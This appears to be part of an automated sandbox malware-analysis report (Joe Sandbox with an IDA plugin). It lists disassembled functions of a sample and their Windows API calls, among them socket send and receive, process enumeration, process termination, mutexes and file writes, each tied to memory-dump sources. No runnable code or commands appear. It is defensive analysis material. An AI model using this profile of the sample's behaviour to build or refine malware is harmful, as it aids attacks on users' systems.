    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041F911, Relevance: 6.1, APIs: 4, Instructions: 86
    APIs
    • CoCreateInstance.OLE32(00401620,00000000,00004401,00401610,?), ref: 0041F937
    • #8.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 0041F983
    • #2.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 0041F993
    • #9.OLEAUT32(?,?,00000000,?,?,?,?,?,?,?,?,00423092,?,?), ref: 0041F9CC
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00410C6C, Relevance: 6.1, APIs: 4, Instructions: 85
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBE6D5, Relevance: 6.1, APIs: 4, Instructions: 84
    APIs
      • Part of subcall function 00BBD8FE: SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001), ref: 00BBD913
      • Part of subcall function 00BBD8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00BBD8F0
    • WriteFile.KERNEL32(?,?,00000005,?,00000000), ref: 00BBE754
    • WriteFile.KERNEL32(?,00000005,00A00000,00000005,00000000), ref: 00BBE76D
    • SetEndOfFile.KERNEL32 ref: 00BBE791
    • FlushFileBuffers.KERNEL32(?), ref: 00BBE799
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041E6D5, Relevance: 6.1, APIs: 4, Instructions: 84
    APIs
      • Part of subcall function 0041D8FE: SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001), ref: 0041D913
      • Part of subcall function 0041D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041D8F0
    • WriteFile.KERNEL32(?,?,00000005,?,00000000), ref: 0041E754
    • WriteFile.KERNEL32(?,00000005,00A00000,00000005,00000000), ref: 0041E76D
    • SetEndOfFile.KERNEL32 ref: 0041E791
    • FlushFileBuffers.KERNEL32(?), ref: 0041E799
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00409454, Relevance: 6.1, APIs: 4, Instructions: 75
    APIs
    • IsClipboardFormatAvailable.USER32 ref: 00409454
    • MessageBoxW.USER32 ref: 0040945A
    • GetTimeFormatW.KERNEL32 ref: 00409460
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00409632
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040EE25, Relevance: 6.1, APIs: 4, Instructions: 75
    APIs
    • GetCommandLineW.KERNEL32 ref: 0040EE25
    • FoldStringW.KERNEL32 ref: 0040EE2B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040EE46
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040EF39
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040C6AA, Relevance: 6.1, APIs: 4, Instructions: 73
    APIs
    • SetWindowTextW.USER32 ref: 0040C6AA
    • GetCurrentProcess.KERNEL32 ref: 0040C6B0
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C77E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040C840
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BB49F6, Relevance: 6.1, APIs: 4, Instructions: 71
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00BB4A0F
      • Part of subcall function 00BB9EB0: CloseHandle.KERNEL32(00000000), ref: 00BB9EC2
      • Part of subcall function 00BB9EB0: CloseHandle.KERNEL32 ref: 00BB9ECB
      • Part of subcall function 00BA80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00BA817A
    • ResetEvent.KERNEL32(?), ref: 00BB4A65
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00BB4AA0
    • TerminateProcess.KERNEL32(?,00000000), ref: 00BB4AB1
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004149F6, Relevance: 6.1, APIs: 4, Instructions: 71
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00414A0F
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32(00000000), ref: 00419EC2
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32 ref: 00419ECB
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    • ResetEvent.KERNEL32(?), ref: 00414A65
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00414AA0
    • TerminateProcess.KERNEL32(?,00000000), ref: 00414AB1
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBB708, Relevance: 6.1, APIs: 4, Instructions: 70
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBB733
    • recv.WS2_32(?,?,00000400,00000000), ref: 00BBB77B
    • send.WS2_32(?,?,?,00000000), ref: 00BBB795
    • select.WS2_32(00000000,?,00000000,00000000,?), ref: 00BBB7D5
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041B708, Relevance: 6.1, APIs: 4, Instructions: 70
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 0041B733
    • recv.WS2_32(?,?,00000400,00000000), ref: 0041B77B
    • send.WS2_32(?,?,?,00000000), ref: 0041B795
    • select.WS2_32(00000000,?,00000000,00000000,0042B414), ref: 0041B7D5
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040B31A, Relevance: 6.1, APIs: 4, Instructions: 64
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040EC11, Relevance: 6.1, APIs: 4, Instructions: 64
    APIs
    • LocalFree.KERNEL32 ref: 0040EC11
    • GetLastError.KERNEL32 ref: 0040EC17
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC01A6, Relevance: 6.1, APIs: 4, Instructions: 63
    APIs
      • Part of subcall function 00BA7ED5: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BA7EF6
    • GetTickCount.KERNEL32 ref: 00BC01F8
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • GetTickCount.KERNEL32 ref: 00BC0220
      • Part of subcall function 00BBFE76: WaitForSingleObject.KERNEL32(00002710), ref: 00BBFFFD
      • Part of subcall function 00BBFE76: CharLowerA.USER32(00000000), ref: 00BC0142
    • GetTickCount.KERNEL32 ref: 00BC0239
    • WaitForSingleObject.KERNEL32 ref: 00BC024B
      • Part of subcall function 00BBBD18: ReleaseMutex.KERNEL32 ref: 00BBBD1C
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004201A6, Relevance: 6.1, APIs: 4, Instructions: 63
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
    • GetTickCount.KERNEL32 ref: 004201F8
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GetTickCount.KERNEL32 ref: 00420220
      • Part of subcall function 0041FE76: WaitForSingleObject.KERNEL32(00002710), ref: 0041FFFD
      • Part of subcall function 0041FE76: CharLowerA.USER32(00000000), ref: 00420142
    • GetTickCount.KERNEL32 ref: 00420239
    • WaitForSingleObject.KERNEL32 ref: 0042024B
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041463A, Relevance: 6.1, APIs: 4, Instructions: 58
    APIs
    • FindTextW.COMDLG32 ref: 0041463A
    • EndDialog.USER32 ref: 00414640
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00414711
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 004147A3
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC711A, Relevance: 6.1, APIs: 4, Instructions: 56
    APIs
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BC7142
    • InterlockedIncrement.KERNEL32(00BD4120,?,?), ref: 00BC716A
    • EnterCriticalSection.KERNEL32(00BD40F8,?,?,?,00000001,00BC7E1C,?), ref: 00BC7176
    • LeaveCriticalSection.KERNEL32(00BD40F8,?,?,?,00000001,00BC7E1C,?), ref: 00BC718C
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042711A, Relevance: 6.1, APIs: 4, Instructions: 56
    APIs
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00427142
    • InterlockedIncrement.KERNEL32(00434120,?,?), ref: 0042716A
    • EnterCriticalSection.KERNEL32(004340F8,?,?,?,00000001,00427E1C,?), ref: 00427176
    • LeaveCriticalSection.KERNEL32(004340F8,?,?,?,00000001,00427E1C,?), ref: 0042718C
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040CE36, Relevance: 6.1, APIs: 4, Instructions: 54
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040D63C, Relevance: 6.1, APIs: 4, Instructions: 53
    APIs
    • GetTimeFormatW.KERNEL32 ref: 0040D63C
    • CloseHandle.KERNEL32 ref: 0040D642
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040D66F
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040D6A5
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BB48D8, Relevance: 6.1, APIs: 4, Instructions: 53
    APIs
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • TlsGetValue.KERNEL32 ref: 00BB48F4
    • SaveDC.GDI32(?), ref: 00BB4925
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00BB4937
    • RestoreDC.GDI32(?), ref: 00BB4949
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004148D8, Relevance: 6.1, APIs: 4, Instructions: 53
    APIs
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • TlsGetValue.KERNEL32 ref: 004148F4
    • SaveDC.GDI32(?), ref: 00414925
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00414937
    • RestoreDC.GDI32(?), ref: 00414949
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040EEAE, Relevance: 6.1, APIs: 4, Instructions: 52
    APIs
    • DragAcceptFiles.SHELL32 ref: 0040EEAE
    • IsClipboardFormatAvailable.USER32 ref: 0040EEB4
    • IsIconic.USER32 ref: 0040EEBA
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040EF39
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040C85F, Relevance: 6.1, APIs: 4, Instructions: 52
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040CC26, Relevance: 6.0, APIs: 4, Instructions: 48
    APIs
    • IsDialogMessageW.USER32 ref: 0040CC26
    • CharLowerW.USER32 ref: 0040CC2C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040CCC9
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040CD2D
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00410D86, Relevance: 6.0, APIs: 4, Instructions: 46
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F259, Relevance: 6.0, APIs: 4, Instructions: 46
    APIs
    • CreateDialogParamW.USER32 ref: 0040F259
    • WideCharToMultiByte.KERNEL32 ref: 0040F25F
    • DragFinish.SHELL32 ref: 0040F265
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040F376
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBBCB2, Relevance: 6.0, APIs: 4, Instructions: 42
    APIs
    • TranslateMessage.USER32(?), ref: 00BBBCD4
    • DispatchMessageW.USER32(?), ref: 00BBBCDF
    • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00BBBCEF
    • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00BBBD03
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041BCB2, Relevance: 6.0, APIs: 4, Instructions: 42
    APIs
    • TranslateMessage.USER32(?), ref: 0041BCD4
    • DispatchMessageW.USER32(?), ref: 0041BCDF
    • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0041BCEF
    • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0041BD03
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040EEFA, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC026D, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
      • Part of subcall function 00BA7ED5: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BA7EF6
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • GetCurrentThread.KERNEL32 ref: 00BC028E
    • SetThreadPriority.KERNEL32 ref: 00BC0295
    • WaitForSingleObject.KERNEL32(00001388), ref: 00BC02AD
      • Part of subcall function 00BC6F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BC6F87
      • Part of subcall function 00BC6F66: Process32FirstW.KERNEL32(?,?), ref: 00BC6FB0
      • Part of subcall function 00BC6F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00BC700B
      • Part of subcall function 00BC6F66: CloseHandle.KERNEL32 ref: 00BC7028
      • Part of subcall function 00BC6F66: GetLengthSid.ADVAPI32(?,?,?,?), ref: 00BC703B
      • Part of subcall function 00BC6F66: CloseHandle.KERNEL32(?), ref: 00BC70AC
      • Part of subcall function 00BC6F66: Process32NextW.KERNEL32(?,0000022C), ref: 00BC70B8
      • Part of subcall function 00BC6F66: CloseHandle.KERNEL32(?), ref: 00BC70C9
    • WaitForSingleObject.KERNEL32(00001388), ref: 00BC02C2
      • Part of subcall function 00BBBD18: ReleaseMutex.KERNEL32 ref: 00BBBD1C
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042026D, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GetCurrentThread.KERNEL32 ref: 0042028E
    • SetThreadPriority.KERNEL32 ref: 00420295
    • WaitForSingleObject.KERNEL32(00001388), ref: 004202AD
      • Part of subcall function 00426F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00426F87
      • Part of subcall function 00426F66: Process32FirstW.KERNEL32(?,?), ref: 00426FB0
      • Part of subcall function 00426F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 0042700B
      • Part of subcall function 00426F66: CloseHandle.KERNEL32 ref: 00427028
      • Part of subcall function 00426F66: GetLengthSid.ADVAPI32(?,?,?,?), ref: 0042703B
      • Part of subcall function 00426F66: CloseHandle.KERNEL32(?), ref: 004270AC
      • Part of subcall function 00426F66: Process32NextW.KERNEL32(?,0000022C), ref: 004270B8
      • Part of subcall function 00426F66: CloseHandle.KERNEL32(?), ref: 004270C9
    • WaitForSingleObject.KERNEL32(00001388), ref: 004202C2
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00416485, Relevance: 6.0, APIs: 4, Instructions: 39
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00408439, Relevance: 6.0, APIs: 4, Instructions: 36
    APIs
    • GetLocaleInfoW.KERNEL32 ref: 00408439
    • ReleaseDC.USER32 ref: 0040843F
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
